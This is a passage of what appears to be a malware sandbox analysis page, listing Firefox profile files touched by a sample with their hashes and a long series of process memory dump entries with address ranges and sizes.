                                                                                          eb3857294738c3d204f3e9eb07dadafd459f1c04

                                                                                          SHA256

                                                                                          b4500a7bf9f83746a8021a634033705f7976a9e5957b4e0473967b1bd0329e57

                                                                                          SHA512

                                                                                          74d1b71eb48d9346135dddbcc5e213c4b67cb0bac0f8d2549b1f875f4deb981d5bccaa6c7cda4745f86dc0d08b51b689fbf13cd0e9fa7b4dde51faa77bfd49bd

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\n3lsnn48.default-release\prefs-1.js
                                                                                          Filesize

                                                                                          6KB

                                                                                          MD5

                                                                                          d4aaed2ab518d2a81acdc865b6a4a0c2

                                                                                          SHA1

                                                                                          4a65b3b24c5b3733d107d88a2ff470f8014e73e5

                                                                                          SHA256

                                                                                          4d66c4f43ed166bca1d57f8e38075a794bac7e802ac7bfd690f6e321c1450f32

                                                                                          SHA512

                                                                                          358993120a8856773ff8474d764794d2ec9d6433bfb4c0611cabbd5dd2a344c88e956934c6ca30c424228e69a7eb9a5b6012e85624d8005a83282e6ebb6c5a44

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\n3lsnn48.default-release\prefs.js
                                                                                          Filesize

                                                                                          6KB

                                                                                          MD5

                                                                                          75e3446fab64535e4211c85ccf07c733

                                                                                          SHA1

                                                                                          5a4319c8f09c39e6173fa264581bbad507a0e0c2

                                                                                          SHA256

                                                                                          6434ea7469f8ef5ce8fab2fbf07dd0dd958dae7eece8124520968f90c970f357

                                                                                          SHA512

                                                                                          48e8390870ae34eeb65b5978e55fad09282e4d85b99b8f3cded97c0d63b94dd73a398c2f0aa47e6cf7a3e379ece26164bf2f73d5d82c3afcb296ea181eca5374

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\n3lsnn48.default-release\sessionstore-backups\recovery.jsonlz4
                                                                                          Filesize

                                                                                          4KB

                                                                                          MD5

                                                                                          a1106325fe44229a77da1e6d2102291f

                                                                                          SHA1

                                                                                          778599e2b6ce5fafaf0b9d9fda86d230c7138eba

                                                                                          SHA256

                                                                                          1c7628f9221f8c46c8fcc7c09c41fb525563357faf937d56a99a82ae89c4e072

                                                                                          SHA512

                                                                                          f181b6cbbd3d6ea457fe4d46df5ce111840de46bed0bc8c4e1aaf7b0c6bed7f40a2d4870003b737eff1561e4a39ca3edeb105334c57b66aa7ea1023591c8ad27

                                                                                          Download Submit

                                                                                        • memory/348-2147-0x0000000003610000-0x0000000003674000-memory.dmp

                                                                                          Filesize

                                                                                          400KB

                                                                                          Download

                                                                                        • memory/348-2148-0x0000000003610000-0x0000000003674000-memory.dmp

                                                                                          Filesize

                                                                                          400KB

                                                                                          Download

                                                                                        • memory/348-2144-0x0000000003610000-0x0000000003674000-memory.dmp

                                                                                          Filesize

                                                                                          400KB

                                                                                          Download

                                                                                        • memory/348-2145-0x0000000003610000-0x0000000003674000-memory.dmp

                                                                                          Filesize

                                                                                          400KB

                                                                                          Download

                                                                                        • memory/348-2146-0x0000000003610000-0x0000000003674000-memory.dmp

                                                                                          Filesize

                                                                                          400KB

                                                                                          Download

                                                                                        • memory/372-842-0x0000000077480000-0x0000000077629000-memory.dmp

                                                                                          Filesize

                                                                                          1.7MB

                                                                                          Download

                                                                                        • memory/372-841-0x0000000002630000-0x0000000002A30000-memory.dmp

                                                                                          Filesize

                                                                                          4.0MB

                                                                                          Download

                                                                                        • memory/372-844-0x0000000076B60000-0x0000000076BA7000-memory.dmp

                                                                                          Filesize

                                                                                          284KB

                                                                                          Download

                                                                                        • memory/372-838-0x0000000000080000-0x000000000008A000-memory.dmp

                                                                                          Filesize

                                                                                          40KB

                                                                                          Download

                                                                                        • memory/1376-10-0x0000000006530000-0x00000000069F5000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/1512-45-0x0000000000AC0000-0x0000000000F5F000-memory.dmp

                                                                                          Filesize

                                                                                          4.6MB

                                                                                          Download

                                                                                        • memory/1512-88-0x0000000000AC0000-0x0000000000F5F000-memory.dmp

                                                                                          Filesize

                                                                                          4.6MB

                                                                                          Download

                                                                                        • memory/1512-87-0x0000000000AC0000-0x0000000000F5F000-memory.dmp

                                                                                          Filesize

                                                                                          4.6MB

                                                                                          Download

                                                                                        • memory/1512-89-0x0000000000AC0000-0x0000000000F5F000-memory.dmp

                                                                                          Filesize

                                                                                          4.6MB

                                                                                          Download

                                                                                        • memory/1644-2876-0x00000000012F0000-0x00000000015F9000-memory.dmp

                                                                                          Filesize

                                                                                          3.0MB

                                                                                          Download

                                                                                        • memory/1644-2878-0x00000000012F0000-0x00000000015F9000-memory.dmp

                                                                                          Filesize

                                                                                          3.0MB

                                                                                          Download

                                                                                        • memory/1804-888-0x00000000002B0000-0x0000000000775000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/1804-883-0x00000000002B0000-0x0000000000775000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/1820-3089-0x00000000008B0000-0x0000000000D04000-memory.dmp

                                                                                          Filesize

                                                                                          4.3MB

                                                                                          Download

                                                                                        • memory/1820-3098-0x00000000008B0000-0x0000000000D04000-memory.dmp

                                                                                          Filesize

                                                                                          4.3MB

                                                                                          Download

                                                                                        • memory/1820-3099-0x00000000008B0000-0x0000000000D04000-memory.dmp

                                                                                          Filesize

                                                                                          4.3MB

                                                                                          Download

                                                                                        • memory/1820-3125-0x00000000008B0000-0x0000000000D04000-memory.dmp

                                                                                          Filesize

                                                                                          4.3MB

                                                                                          Download

                                                                                        • memory/1820-3139-0x00000000008B0000-0x0000000000D04000-memory.dmp

                                                                                          Filesize

                                                                                          4.3MB

                                                                                          Download

                                                                                        • memory/2028-84-0x0000000006820000-0x0000000006CBF000-memory.dmp

                                                                                          Filesize

                                                                                          4.6MB

                                                                                          Download

                                                                                        • memory/2028-2898-0x0000000006960000-0x0000000006FEF000-memory.dmp

                                                                                          Filesize

                                                                                          6.6MB

                                                                                          Download

                                                                                        • memory/2028-25-0x0000000001350000-0x0000000001815000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2028-3141-0x00000000069C0000-0x0000000006E5F000-memory.dmp

                                                                                          Filesize

                                                                                          4.6MB

                                                                                          Download

                                                                                        • memory/2028-820-0x0000000001350000-0x0000000001815000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2028-3123-0x0000000006960000-0x0000000006DB4000-memory.dmp

                                                                                          Filesize

                                                                                          4.3MB

                                                                                          Download

                                                                                        • memory/2028-2699-0x0000000001350000-0x0000000001815000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2028-789-0x0000000001350000-0x0000000001815000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2028-119-0x0000000001350000-0x0000000001815000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2028-3124-0x0000000006960000-0x0000000006DB4000-memory.dmp

                                                                                          Filesize

                                                                                          4.3MB

                                                                                          Download

                                                                                        • memory/2028-3120-0x00000000069C0000-0x0000000006E5F000-memory.dmp

                                                                                          Filesize

                                                                                          4.6MB

                                                                                          Download

                                                                                        • memory/2028-3085-0x0000000006960000-0x0000000006DB4000-memory.dmp

                                                                                          Filesize

                                                                                          4.3MB

                                                                                          Download

                                                                                        • memory/2028-3086-0x0000000006960000-0x0000000006DB4000-memory.dmp

                                                                                          Filesize

                                                                                          4.3MB

                                                                                          Download

                                                                                        • memory/2028-27-0x0000000001350000-0x0000000001815000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2028-42-0x0000000006820000-0x0000000006CBF000-memory.dmp

                                                                                          Filesize

                                                                                          4.6MB

                                                                                          Download

                                                                                        • memory/2028-43-0x0000000006820000-0x0000000006CBF000-memory.dmp

                                                                                          Filesize

                                                                                          4.6MB

                                                                                          Download

                                                                                        • memory/2028-908-0x0000000001350000-0x0000000001815000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2028-2861-0x0000000001350000-0x0000000001815000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2028-85-0x0000000001350000-0x0000000001815000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2028-2037-0x0000000001350000-0x0000000001815000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2028-2875-0x0000000006980000-0x0000000006C89000-memory.dmp

                                                                                          Filesize

                                                                                          3.0MB

                                                                                          Download

                                                                                        • memory/2028-2874-0x0000000006980000-0x0000000006C89000-memory.dmp

                                                                                          Filesize

                                                                                          3.0MB

                                                                                          Download

                                                                                        • memory/2028-2930-0x0000000006960000-0x0000000006FEF000-memory.dmp

                                                                                          Filesize

                                                                                          6.6MB

                                                                                          Download

                                                                                        • memory/2028-86-0x0000000006820000-0x0000000006CBF000-memory.dmp

                                                                                          Filesize

                                                                                          4.6MB

                                                                                          Download

                                                                                        • memory/2028-2897-0x0000000006960000-0x0000000006FEF000-memory.dmp

                                                                                          Filesize

                                                                                          6.6MB

                                                                                          Download

                                                                                        • memory/2028-2900-0x0000000006980000-0x0000000006C89000-memory.dmp

                                                                                          Filesize

                                                                                          3.0MB

                                                                                          Download

                                                                                        • memory/2028-2912-0x0000000006980000-0x0000000006C89000-memory.dmp

                                                                                          Filesize

                                                                                          3.0MB

                                                                                          Download

                                                                                        • memory/2052-2904-0x0000000077060000-0x0000000077170000-memory.dmp

                                                                                          Filesize

                                                                                          1.1MB

                                                                                          Download

                                                                                        • memory/2052-2903-0x0000000077480000-0x0000000077629000-memory.dmp

                                                                                          Filesize

                                                                                          1.7MB

                                                                                          Download

                                                                                        • memory/2052-2902-0x00000000045C0000-0x00000000049C0000-memory.dmp

                                                                                          Filesize

                                                                                          4.0MB

                                                                                          Download

                                                                                        • memory/2140-2858-0x0000000077480000-0x0000000077629000-memory.dmp

                                                                                          Filesize

                                                                                          1.7MB

                                                                                          Download

                                                                                        • memory/2140-2855-0x00000000001B0000-0x00000000001BA000-memory.dmp

                                                                                          Filesize

                                                                                          40KB

                                                                                          Download

                                                                                        • memory/2140-2857-0x0000000000B30000-0x0000000000F30000-memory.dmp

                                                                                          Filesize

                                                                                          4.0MB

                                                                                          Download

                                                                                        • memory/2140-2860-0x0000000076B60000-0x0000000076BA7000-memory.dmp

                                                                                          Filesize

                                                                                          284KB

                                                                                          Download

                                                                                        • memory/2176-2159-0x0000000000400000-0x000000000069A000-memory.dmp

                                                                                          Filesize

                                                                                          2.6MB

                                                                                          Download

                                                                                        • memory/2244-905-0x0000000006620000-0x0000000006AE5000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2660-907-0x00000000001D0000-0x0000000000695000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2660-23-0x00000000072D0000-0x0000000007795000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2660-11-0x0000000001260000-0x0000000001725000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2660-22-0x0000000001260000-0x0000000001725000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2660-906-0x00000000001D0000-0x0000000000695000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download

                                                                                        • memory/2832-2914-0x00000000013B0000-0x0000000001A3F000-memory.dmp

                                                                                          Filesize

                                                                                          6.6MB

                                                                                          Download

                                                                                        • memory/2832-2899-0x00000000013B0000-0x0000000001A3F000-memory.dmp

                                                                                          Filesize

                                                                                          6.6MB

                                                                                          Download

                                                                                        • memory/2836-828-0x0000000003930000-0x00000000039AF000-memory.dmp

                                                                                          Filesize

                                                                                          508KB

                                                                                          Download

                                                                                        • memory/2836-833-0x00000000041B0000-0x00000000045B0000-memory.dmp

                                                                                          Filesize

                                                                                          4.0MB

                                                                                          Download

                                                                                        • memory/2836-829-0x0000000003930000-0x00000000039AF000-memory.dmp

                                                                                          Filesize

                                                                                          508KB

                                                                                          Download

                                                                                        • memory/2836-836-0x0000000076B60000-0x0000000076BA7000-memory.dmp

                                                                                          Filesize

                                                                                          284KB

                                                                                          Download

                                                                                        • memory/2836-830-0x0000000003930000-0x00000000039AF000-memory.dmp

                                                                                          Filesize

                                                                                          508KB

                                                                                          Download

                                                                                        • memory/2836-826-0x0000000003930000-0x00000000039AF000-memory.dmp

                                                                                          Filesize

                                                                                          508KB

                                                                                          Download

                                                                                        • memory/2836-831-0x0000000003930000-0x00000000039AF000-memory.dmp

                                                                                          Filesize

                                                                                          508KB

                                                                                          Download

                                                                                        • memory/2836-827-0x0000000003930000-0x00000000039AF000-memory.dmp

                                                                                          Filesize

                                                                                          508KB

                                                                                          Download

                                                                                        • memory/2836-832-0x00000000041B0000-0x00000000045B0000-memory.dmp

                                                                                          Filesize

                                                                                          4.0MB

                                                                                          Download

                                                                                        • memory/2836-834-0x0000000077480000-0x0000000077629000-memory.dmp

                                                                                          Filesize

                                                                                          1.7MB

                                                                                          Download

                                                                                        • memory/3056-2852-0x0000000077480000-0x0000000077629000-memory.dmp

                                                                                          Filesize

                                                                                          1.7MB

                                                                                          Download

                                                                                        • memory/3056-2854-0x0000000076B60000-0x0000000076BA7000-memory.dmp

                                                                                          Filesize

                                                                                          284KB

                                                                                          Download

                                                                                        • memory/3056-2851-0x0000000004450000-0x0000000004850000-memory.dmp

                                                                                          Filesize

                                                                                          4.0MB

                                                                                          Download

                                                                                        • memory/3068-882-0x0000000006490000-0x0000000006955000-memory.dmp

                                                                                          Filesize

                                                                                          4.8MB

                                                                                          Download